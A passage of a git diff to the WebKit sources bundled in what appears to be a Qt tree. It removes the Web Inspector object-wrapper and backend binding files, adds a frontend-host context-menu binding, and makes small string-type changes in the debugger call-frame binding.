-typedef HashMap<JSGlobalObject*, WrapperMap*> GlobalObjectWrapperMap;
-
-static GlobalObjectWrapperMap& wrappers()
-{
-    DEFINE_STATIC_LOCAL(GlobalObjectWrapperMap, map, ());
-    return map;
-}
-
-const ClassInfo JSInspectedObjectWrapper::s_info = { "JSInspectedObjectWrapper", &JSQuarantinedObjectWrapper::s_info, 0, 0 };
-
-JSValue JSInspectedObjectWrapper::wrap(ExecState* unwrappedExec, JSValue unwrappedValue)
-{
-    if (!unwrappedValue.isObject())
-        return unwrappedValue;
-
-    JSObject* unwrappedObject = asObject(unwrappedValue);
-
-    if (unwrappedObject->inherits(&JSInspectedObjectWrapper::s_info))
-        return unwrappedObject;
-
-    if (WrapperMap* wrapperMap = wrappers().get(unwrappedExec->lexicalGlobalObject()))
-        if (JSInspectedObjectWrapper* wrapper = wrapperMap->get(unwrappedObject))
-            return wrapper;
-
-    JSValue prototype = unwrappedObject->prototype();
-    ASSERT(prototype.isNull() || prototype.isObject());
-
-    if (prototype.isNull())
-        return new (unwrappedExec) JSInspectedObjectWrapper(unwrappedExec, unwrappedObject, JSQuarantinedObjectWrapper::createStructure(jsNull()));
-    return new (unwrappedExec) JSInspectedObjectWrapper(unwrappedExec, unwrappedObject, JSQuarantinedObjectWrapper::createStructure(asObject(wrap(unwrappedExec, prototype))));
-}
-
-JSInspectedObjectWrapper::JSInspectedObjectWrapper(ExecState* unwrappedExec, JSObject* unwrappedObject, NonNullPassRefPtr<Structure> structure)
-    : JSQuarantinedObjectWrapper(unwrappedExec, unwrappedObject, structure)
-{
-    WrapperMap* wrapperMap = wrappers().get(unwrappedGlobalObject());
-    if (!wrapperMap) {
-        wrapperMap = new WrapperMap;
-        wrappers().set(unwrappedGlobalObject(), wrapperMap);
-    }
-
-    ASSERT(!wrapperMap->contains(unwrappedObject));
-    wrapperMap->set(unwrappedObject, this);
-}
-
-JSInspectedObjectWrapper::~JSInspectedObjectWrapper()
-{
-    ASSERT(wrappers().contains(unwrappedGlobalObject()));
-    WrapperMap* wrapperMap = wrappers().get(unwrappedGlobalObject());
-
-    ASSERT(wrapperMap->contains(unwrappedObject()));
-    wrapperMap->remove(unwrappedObject());
-
-    if (wrapperMap->isEmpty()) {
-        wrappers().remove(unwrappedGlobalObject());
-        delete wrapperMap;
-    }
-}
-
-JSValue JSInspectedObjectWrapper::prepareIncomingValue(ExecState*, JSValue value) const
-{
-    // The Inspector is only allowed to pass primitive values and wrapped objects to objects from the inspected page.
-
-    if (!value.isObject())
-        return value;
-
-    JSQuarantinedObjectWrapper* wrapper = asWrapper(value);
-    ASSERT_WITH_MESSAGE(wrapper, "Objects passed to JSInspectedObjectWrapper must be wrapped");
-    if (!wrapper)
-        return jsUndefined();
-
-    if (wrapper->allowsUnwrappedAccessFrom(unwrappedExecState())) {
-        ASSERT_WITH_MESSAGE(wrapper->inherits(&s_info), "A wrapper contains an object from the inspected page but is not a JSInspectedObjectWrapper");
-        if (!wrapper->inherits(&s_info))
-            return jsUndefined();
-
-        // Return the unwrapped object so the inspected page never sees one of its own objects in wrapped form.
-        return wrapper->unwrappedObject();
-    }
-
-    ASSERT_WITH_MESSAGE(wrapper->inherits(&JSInspectorCallbackWrapper::s_info), "A wrapper that was not from the inspected page and is not an Inspector callback was passed to a JSInspectedObjectWrapper");
-    if (!wrapper->inherits(&JSInspectorCallbackWrapper::s_info))
-        return jsUndefined();
-
-    return wrapper;
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(INSPECTOR)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectedObjectWrapper.h b/src/3rdparty/webkit/WebCore/bindings/js/JSInspectedObjectWrapper.h
deleted file mode 100644
index ad97035..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectedObjectWrapper.h
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef JSInspectedObjectWrapper_h
-#define JSInspectedObjectWrapper_h
-
-#include "JSQuarantinedObjectWrapper.h"
-
-namespace WebCore {
-
-    class JSInspectedObjectWrapper : public JSQuarantinedObjectWrapper {
-    public:
-        static JSC::JSValue wrap(JSC::ExecState* unwrappedExec, JSC::JSValue unwrappedValue);
-        virtual ~JSInspectedObjectWrapper();
-
-        static const JSC::ClassInfo s_info;
-
-    private:
-        JSInspectedObjectWrapper(JSC::ExecState* unwrappedExec, JSC::JSObject* unwrappedObject, NonNullPassRefPtr<JSC::Structure>);
-
-        virtual bool allowsGetProperty() const { return true; }
-        virtual bool allowsSetProperty() const { return true; }
-        virtual bool allowsDeleteProperty() const { return true; }
-        virtual bool allowsConstruct() const { return true; }
-        virtual bool allowsHasInstance() const { return true; }
-        virtual bool allowsCallAsFunction() const { return true; }
-        virtual bool allowsGetPropertyNames() const { return true; }
-
-        virtual JSC::JSValue prepareIncomingValue(JSC::ExecState* unwrappedExec, JSC::JSValue unwrappedValue) const;
-        virtual JSC::JSValue wrapOutgoingValue(JSC::ExecState* unwrappedExec, JSC::JSValue unwrappedValue) const { return wrap(unwrappedExec, unwrappedValue); }
-
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    };
-
-} // namespace WebCore
-
-#endif // JSInspectedObjectWrapper_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorBackendCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorBackendCustom.cpp
deleted file mode 100644
index 439f532..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorBackendCustom.cpp
+++ /dev/null
@@ -1,346 +0,0 @@
-/*
- * Copyright (C) 2007, 2008 Apple Inc. All rights reserved.
- * Copyright (C) 2008 Matt Lilek <webkit@mattlilek.com>
- * Copyright (C) 2009 Google Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are
- * met:
- *
- *     * Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above
- * copyright notice, this list of conditions and the following disclaimer
- * in the documentation and/or other materials provided with the
- * distribution.
- *     * Neither the name of Google Inc. nor the names of its
- * contributors may be used to endorse or promote products derived from
- * this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
- * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
- * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
- * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
- * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "config.h"
-#include "JSInspectorBackend.h"
-
-#if ENABLE(INSPECTOR)
-
-#include "Console.h"
-#if ENABLE(DATABASE)
-#include "Database.h"
-#include "JSDatabase.h"
-#endif
-#include "ExceptionCode.h"
-#include "Frame.h"
-#include "FrameLoader.h"
-#include "InspectorBackend.h"
-#include "InspectorController.h"
-#include "InspectorResource.h"
-#include "JSDOMWindow.h"
-#include "JSInspectedObjectWrapper.h"
-#include "JSInspectorCallbackWrapper.h"
-#include "JSNode.h"
-#include "JSRange.h"
-#include "Node.h"
-#include "Page.h"
-#if ENABLE(DOM_STORAGE)
-#include "Storage.h"
-#include "JSStorage.h"
-#endif
-#include "TextIterator.h"
-#include "VisiblePosition.h"
-#include <runtime/JSArray.h>
-#include <runtime/JSLock.h>
-#include <wtf/Vector.h>
-
-#if ENABLE(JAVASCRIPT_DEBUGGER)
-#include "JavaScriptCallFrame.h"
-#include "JavaScriptDebugServer.h"
-#include "JSJavaScriptCallFrame.h"
-#endif
-
-using namespace JSC;
-
-namespace WebCore {
-
-JSValue JSInspectorBackend::highlightDOMNode(JSC::ExecState* exec, const JSC::ArgList& args)
-{
-    if (args.size() < 1)
-        return jsUndefined();
-
-    impl()->highlight(args.at(0).toInt32(exec));
-    return jsUndefined();
-}
-
-JSValue JSInspectorBackend::search(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 2)
-        return jsUndefined();
-
-    Node* node = toNode(args.at(0));
-    if (!node)
-        return jsUndefined();
-
-    String target = args.at(1).toString(exec);
-    if (exec->hadException())
-        return jsUndefined();
-
-    MarkedArgumentBuffer result;
-    RefPtr<Range> searchRange(rangeOfContents(node));
-
-    ExceptionCode ec = 0;
-    do {
-        RefPtr<Range> resultRange(findPlainText(searchRange.get(), target, true, false));
-        if (resultRange->collapsed(ec))
-            break;
-
-        // A non-collapsed result range can in some funky whitespace cases still not
-        // advance the range's start position (4509328). Break to avoid infinite loop.
-        VisiblePosition newStart = endVisiblePosition(resultRange.get(), DOWNSTREAM);
-        if (newStart == startVisiblePosition(searchRange.get(), DOWNSTREAM))
-            break;
-
-        result.append(toJS(exec, resultRange.get()));
-
-        setStart(searchRange.get(), newStart);
-    } while (true);
-
-    return constructArray(exec, result);
-}
-
-#if ENABLE(DATABASE)
-JSValue JSInspectorBackend::databaseForId(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 1)
-        return jsUndefined();
-
-    InspectorController* ic = impl()->inspectorController();
-    if (!ic)
-        return jsUndefined();
-
-    Database* database = impl()->databaseForId(args.at(0).toInt32(exec));
-    if (!database)
-        return jsUndefined();
-    // Could use currentWorld(exec) ... but which exec!  The following mixed use of exec & inspectedWindow->globalExec() scares me!
-    JSDOMWindow* inspectedWindow = toJSDOMWindow(ic->inspectedPage()->mainFrame(), debuggerWorld());
-    return JSInspectedObjectWrapper::wrap(inspectedWindow->globalExec(), toJS(exec, database));
-}
-#endif
-
-JSValue JSInspectorBackend::inspectedWindow(ExecState*, const ArgList&)
-{
-    InspectorController* ic = impl()->inspectorController();
-    if (!ic)
-        return jsUndefined();
-    JSDOMWindow* inspectedWindow = toJSDOMWindow(ic->inspectedPage()->mainFrame(), debuggerWorld());
-    return JSInspectedObjectWrapper::wrap(inspectedWindow->globalExec(), inspectedWindow);
-}
-
-JSValue JSInspectorBackend::setting(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 1)
-        return jsUndefined();
-
-    String key = args.at(0).toString(exec);
-    if (exec->hadException())
-        return jsUndefined();
-
-    InspectorController* ic = impl()->inspectorController();
-    if (!ic)
-        return jsUndefined();
-    const InspectorController::Setting& setting = ic->setting(key);
-
-    switch (setting.type()) {
-        default:
-        case InspectorController::Setting::NoType:
-            return jsUndefined();
-        case InspectorController::Setting::StringType:
-            return jsString(exec, setting.string());
-        case InspectorController::Setting::DoubleType:
-            return jsNumber(exec, setting.doubleValue());
-        case InspectorController::Setting::IntegerType:
-            return jsNumber(exec, setting.integerValue());
-        case InspectorController::Setting::BooleanType:
-            return jsBoolean(setting.booleanValue());
-        case InspectorController::Setting::StringVectorType: {
-            MarkedArgumentBuffer stringsArray;
-            const Vector<String>& strings = setting.stringVector();
-            const unsigned length = strings.size();
-            for (unsigned i = 0; i < length; ++i)
-                stringsArray.append(jsString(exec, strings[i]));
-            return constructArray(exec, stringsArray);
-        }
-    }
-}
-
-JSValue JSInspectorBackend::setSetting(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 2)
-        return jsUndefined();
-
-    String key = args.at(0).toString(exec);
-    if (exec->hadException())
-        return jsUndefined();
-
-    InspectorController::Setting setting;
-
-    JSValue value = args.at(1);
-    if (value.isUndefined() || value.isNull()) {
-        // Do nothing. The setting is already NoType.
-        ASSERT(setting.type() == InspectorController::Setting::NoType);
-    } else if (value.isString())
-        setting.set(value.toString(exec));
-    else if (value.isNumber())
-        setting.set(value.toNumber(exec));
-    else if (value.isBoolean())
-        setting.set(value.toBoolean(exec));
-    else {
-        JSArray* jsArray = asArray(value);
-        if (!jsArray)
-            return jsUndefined();
-        Vector<String> strings;
-        for (unsigned i = 0; i < jsArray->length(); ++i) {
-            String item = jsArray->get(exec, i).toString(exec);
-            if (exec->hadException())
-                return jsUndefined();
-            strings.append(item);
-        }
-        setting.set(strings);
-    }
-
-    if (exec->hadException())
-        return jsUndefined();
-
-    InspectorController* ic = impl()->inspectorController();
-    if (ic)
-        ic->setSetting(key, setting);
-
-    return jsUndefined();
-}
-
-JSValue JSInspectorBackend::wrapCallback(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 1)
-        return jsUndefined();
-
-    return JSInspectorCallbackWrapper::wrap(exec, args.at(0));
-}
-
-#if ENABLE(JAVASCRIPT_DEBUGGER)
-
-JSValue JSInspectorBackend::currentCallFrame(ExecState* exec, const ArgList&)
-{
-    JavaScriptCallFrame* callFrame = impl()->currentCallFrame();
-    if (!callFrame || !callFrame->isValid())
-        return jsUndefined();
-
-    // FIXME: I am not sure if this is actually needed. Can we just use exec?
-    ExecState* globalExec = callFrame->scopeChain()->globalObject->globalExec();
-
-    JSLock lock(SilenceAssertionsOnly);
-    return JSInspectedObjectWrapper::wrap(globalExec, toJS(exec, callFrame));
-}
-
-#endif
-
-JSValue JSInspectorBackend::nodeForId(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 1)
-        return jsUndefined();
-
-    Node* node = impl()->nodeForId(args.at(0).toInt32(exec));
-    if (!node)
-        return jsUndefined();
-
-    InspectorController* ic = impl()->inspectorController();
-    if (!ic)
-        return jsUndefined();
-
-    JSLock lock(SilenceAssertionsOnly);
-    JSDOMWindow* inspectedWindow = toJSDOMWindow(ic->inspectedPage()->mainFrame(), debuggerWorld());
-    return JSInspectedObjectWrapper::wrap(inspectedWindow->globalExec(), toJS(exec, deprecatedGlobalObjectForPrototype(inspectedWindow->globalExec()), node));
-}
-
-JSValue JSInspectorBackend::wrapObject(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 2)
-        return jsUndefined();
-
-    return impl()->wrapObject(ScriptValue(args.at(0)), args.at(1).toString(exec)).jsValue();
-}
-
-JSValue JSInspectorBackend::unwrapObject(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 1)
-        return jsUndefined();
-
-    return impl()->unwrapObject(args.at(0).toString(exec)).jsValue();
-}
-
-JSValue JSInspectorBackend::pushNodePathToFrontend(ExecState* exec, const ArgList& args)
-{
-    if (args.size() < 2)
-        return jsUndefined();
-
-    JSQuarantinedObjectWrapper* wrapper = JSQuarantinedObjectWrapper::asWrapper(args.at(0));
-    if (!wrapper)
-        return jsUndefined();
-
-    Node* node = toNode(wrapper->unwrappedObject());
-    if (!node)
-        return jsUndefined();
-
-    bool selectInUI = args.at(1).toBoolean(exec);
-    return jsNumber(exec, impl()->pushNodePathToFrontend(node, selectInUI));
-}
-
-#if ENABLE(DATABASE)
-JSValue JSInspectorBackend::selectDatabase(ExecState*, const ArgList& args)
-{
-    if (args.size() < 1)
-        return jsUndefined();
-
-    JSQuarantinedObjectWrapper* wrapper = JSQuarantinedObjectWrapper::asWrapper(args.at(0));
-    if (!wrapper)
-        return jsUndefined();
-
-    Database* database = toDatabase(wrapper->unwrappedObject());
-    if (database)
-        impl()->selectDatabase(database);
-    return jsUndefined();
-}
-#endif
-
-#if ENABLE(DOM_STORAGE)
-JSValue JSInspectorBackend::selectDOMStorage(ExecState*, const ArgList& args)
-{
-    if (args.size() < 1)
-        return jsUndefined();
-    InspectorController* ic = impl()->inspectorController();
-    if (!ic)
-        return jsUndefined();
-
-    JSQuarantinedObjectWrapper* wrapper = JSQuarantinedObjectWrapper::asWrapper(args.at(0));
-    if (!wrapper)
-        return jsUndefined();
-
-    Storage* storage = toStorage(wrapper->unwrappedObject());
-    if (storage)
-        impl()->selectDOMStorage(storage);
-    return jsUndefined();
-}
-#endif
-
-} // namespace WebCore
-
-#endif // ENABLE(INSPECTOR)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorCallbackWrapper.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorCallbackWrapper.cpp
deleted file mode 100644
index 9c4330d..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorCallbackWrapper.cpp
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All Rights Reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "config.h"
-#include "JSInspectorCallbackWrapper.h"
-
-#if ENABLE(INSPECTOR)
-
-#include "JSInspectedObjectWrapper.h"
-#include <wtf/StdLibExtras.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSInspectorCallbackWrapper);
-
-typedef HashMap<JSObject*, JSInspectorCallbackWrapper*> WrapperMap;
-
-static WrapperMap& wrappers()
-{
-    DEFINE_STATIC_LOCAL(WrapperMap, map, ());
-    return map;
-}
-
-const ClassInfo JSInspectorCallbackWrapper::s_info = { "JSInspectorCallbackWrapper", &JSQuarantinedObjectWrapper::s_info, 0, 0 };
-
-static Structure* leakInspectorCallbackWrapperStructure()
-{
-    Structure::startIgnoringLeaks();
-    Structure* structure = JSInspectorCallbackWrapper::createStructure(jsNull()).releaseRef();
-    Structure::stopIgnoringLeaks();
-    return structure;
-}
-
-JSValue JSInspectorCallbackWrapper::wrap(ExecState* unwrappedExec, JSValue unwrappedValue)
-{
-    if (!unwrappedValue.isObject())
-        return unwrappedValue;
-
-    JSObject* unwrappedObject = asObject(unwrappedValue);
-
-    if (unwrappedObject->inherits(&JSInspectorCallbackWrapper::s_info))
-        return unwrappedObject;
-
-    if (JSInspectorCallbackWrapper* wrapper = wrappers().get(unwrappedObject))
-        return wrapper;
-
-    JSValue prototype = unwrappedObject->prototype();
-    ASSERT(prototype.isNull() || prototype.isObject());
-
-    if (prototype.isNull()) {
-        static Structure* structure = leakInspectorCallbackWrapperStructure();
-        return new (unwrappedExec) JSInspectorCallbackWrapper(unwrappedExec, unwrappedObject, structure);
-    }
-    return new (unwrappedExec) JSInspectorCallbackWrapper(unwrappedExec, unwrappedObject, createStructure(wrap(unwrappedExec, prototype)));
-}
-
-JSInspectorCallbackWrapper::JSInspectorCallbackWrapper(ExecState* unwrappedExec, JSObject* unwrappedObject, NonNullPassRefPtr<Structure> structure)
-    : JSQuarantinedObjectWrapper(unwrappedExec, unwrappedObject, structure)
-{
-    ASSERT(!wrappers().contains(unwrappedObject));
-    wrappers().set(unwrappedObject, this);
-}
-
-JSInspectorCallbackWrapper::~JSInspectorCallbackWrapper()
-{
-    wrappers().remove(unwrappedObject());
-}
-
-JSValue JSInspectorCallbackWrapper::prepareIncomingValue(ExecState* unwrappedExec, JSValue unwrappedValue) const
-{
-    if (JSQuarantinedObjectWrapper* wrapper = asWrapper(unwrappedValue)) {
-        // The only time a wrapper should be passed into a JSInspectorCallbackWrapper is when a client-side storage callback
-        // is called. (The client-side storage API calls the callback with the `this` object set to the callback itself.)
-        ASSERT_WITH_MESSAGE(wrapper == this, "A different wrapper was passed into a JSInspectorCallbackWrapper");
-        if (wrapper != this)
-            return jsUndefined();
-
-        return wrapper->unwrappedObject();
-    }
-
-    // Any value being passed to the Inspector from the inspected page should be wrapped in a JSInspectedObjectWrapper.
-    return JSInspectedObjectWrapper::wrap(unwrappedExec, unwrappedValue);
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(INSPECTOR)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorCallbackWrapper.h b/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorCallbackWrapper.h
deleted file mode 100644
index be28063..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorCallbackWrapper.h
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All Rights Reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef JSInspectorCallbackWrapper_h
-#define JSInspectorCallbackWrapper_h
-
-#include "JSQuarantinedObjectWrapper.h"
-
-namespace WebCore {
-
-    class JSInspectorCallbackWrapper : public JSQuarantinedObjectWrapper {
-    public:
-        static JSC::JSValue wrap(JSC::ExecState* unwrappedExec, JSC::JSValue unwrappedValue);
-
-        virtual ~JSInspectorCallbackWrapper();
-
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-        static const JSC::ClassInfo s_info;
-
-    protected:
-        JSInspectorCallbackWrapper(JSC::ExecState* unwrappedExec, JSC::JSObject* unwrappedObject, NonNullPassRefPtr<JSC::Structure>);
-
-        virtual bool allowsCallAsFunction() const { return true; }
-
-        virtual JSC::JSValue prepareIncomingValue(JSC::ExecState* unwrappedExec, JSC::JSValue unwrappedValue) const;
-        virtual JSC::JSValue wrapOutgoingValue(JSC::ExecState* unwrappedExec, JSC::JSValue unwrappedValue) const { return wrap(unwrappedExec, unwrappedValue); }
-    };
-
-} // namespace WebCore
-
-#endif // JSInspectorCallbackWrapper_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorFrontendHostCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorFrontendHostCustom.cpp
new file mode 100644
index 0000000..7b06bac
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSInspectorFrontendHostCustom.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2007, 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2008 Matt Lilek <webkit@mattlilek.com>
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JSInspectorFrontendHost.h"
+
+#if ENABLE(INSPECTOR)
+
+#include "ContextMenuItem.h"
+#include "InspectorController.h"
+#include "InspectorFrontendHost.h"
+#include "JSEvent.h"
+#include "MouseEvent.h"
+#include <runtime/JSArray.h>
+#include <runtime/JSLock.h>
+#include <runtime/JSObject.h>
+#include <wtf/Vector.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+JSValue JSInspectorFrontendHost::showContextMenu(ExecState* execState, const ArgList& args)
+{
+    if (args.size() < 2)
+        return jsUndefined();
+
+    Event* event = toEvent(args.at(0));
+
+    JSArray* array = asArray(args.at(1));
+    Vector<ContextMenuItem*> items;
+
+    for (size_t i = 0; i < array->length(); ++i) {
+        JSObject* item = asObject(array->getIndex(i));
+        JSValue label = item->get(execState, Identifier(execState, "label"));
+        JSValue id = item->get(execState, Identifier(execState, "id"));
+        if (label.isUndefined() || id.isUndefined())
+            items.append(new ContextMenuItem(SeparatorType, ContextMenuItemTagNoAction, String()));
+        else {
+            ContextMenuAction typedId = static_cast<ContextMenuAction>(ContextMenuItemBaseCustomTag + id.toInt32(execState));
+            items.append(new ContextMenuItem(ActionType, typedId, label.toString(execState)));
+        }
+    }
+
+    impl()->showContextMenu(event, items);
+    return jsUndefined();
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(INSPECTOR)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSJavaScriptCallFrameCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSJavaScriptCallFrameCustom.cpp
index 08ecf2b..afbdf5d 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSJavaScriptCallFrameCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSJavaScriptCallFrameCustom.cpp
@@ -55,9 +55,9 @@ JSValue JSJavaScriptCallFrame::type(ExecState* exec) const
 {
     switch (impl()->type()) {
         case DebuggerCallFrame::FunctionType:
-            return jsString(exec, "function");
+            return jsString(exec, UString("function"));
         case DebuggerCallFrame::ProgramType:
-            return jsString(exec, "program");
+            return jsString(exec, UString("program"));
     }
 
     ASSERT_NOT_REACHED();
